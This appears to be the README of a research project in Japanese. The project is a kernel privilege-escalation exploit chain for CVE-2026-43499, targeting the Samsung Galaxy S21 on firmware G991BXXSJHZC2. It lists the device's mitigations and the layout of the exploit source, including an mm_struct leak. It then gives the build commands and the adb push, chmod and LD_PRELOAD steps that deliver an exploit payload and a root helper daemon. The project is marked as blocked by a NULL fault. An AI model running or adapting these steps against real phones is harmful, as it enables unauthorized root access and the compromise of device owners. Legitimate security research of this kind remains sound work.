
Samsung Galaxy S21 を対象とした CVE-2026-43499 のエクスプロイトチェーン研究
ファームウェア G991BXXSJHZC2 上の Samsung Galaxy S21 (o1s) 向けデバイス固有 IonStack ペイロード。LD_PRELOAD エクスプロイト + call_usermodehelper ルートヘルパーデーモンにより揮発性の root を取得する(IonStack-S22U / IONSTACK-S22 と同型)。ステータス: 研究中 — ブロック中、RESEARCH.md 参照。
| 項目 | 値 |
|---|---|
| モデル | SM-G991B |
| デバイス | o1s |
| ファームウェア | G991BXXSJHZC2 |
| Android | 12 / API 31 (AP3A.240905.015.A2, フィンガープリント samsung/o1sxeea/o1s) |
| ページサイズ | 4096 |
| カーネル | 5.4.242-30958140-abG991BXXSJHZC2 |
| SoC | Exynos 2100 |
| 緩和策 | CFI+PAC+PAN/UAO, KDP_CRED, SELinux enforcing, userfaultfd なし |
NebuSec/CyberMeowfia で公開された IonStack CVE-2026-43499 実装(upstream b850d3bddc74c3328d5fbcc0568d21962b55d949)および BuSung-dev/CVE-2026-43499-S25U をベースとし、F-19-F/IonStackQuest3 に感謝する。upstream の Apache License 2.0 は LICENSE に保持(NOTICE 参照)。
Makefile build (NDK r27+, ANDROID_NDK_HOME)
src/ exploit source (o1s profile only)
src/targets/o1s-G991BXXSJHZC2/ target.h + p0_fingerprint.h
src/kernelsnitch/ mm_struct leak (futex hash collision)
tools/ p0 fingerprint helper
RESEARCH.md research notes (geometry, verdicts)
export ANDROID_NDK_HOME=/path/to/android-ndk
make clean all
# SLIDE_WRITER_SEL=1|2|3 selects mcast/sigreturn(default)/xattr writers.
# Unset selects the experimental pselect writer (see RESEARCH.md).
出力 (build/o1s-G991BXXSJHZC2/):
cve-2026-43499 (LD_PRELOAD ペイロード), cve-2026-43499-app.so (アプリペイロード),
cve-2026-43499-root (ルートヘルパー)。
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/o1s-G991BXXSJHZC2/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
# on success:
/adb shell "/data/local/tmp/cve-2026-43499-root -c 'id; getenforce'"
root(取得できた場合)は再起動までのみ有効で、何もフラッシュされない。
sched_setattr → rt_mutex_adjust_prio_chain → _raw_spin_trylock NULL フォールト):
8 バイトの lock フィールドは、調査したどのブロッキング syscall もカバーしない
コピーギャップに位置する(syscall ごとのディスアセンブリ検証済み深度マップは
RESEARCH.md 参照)。パイプリクレームゲートは体系的にミスする (0/0)。/data/local/tmp は再起動で
ワイプされる — 起動のたびにバイナリを再プッシュすること。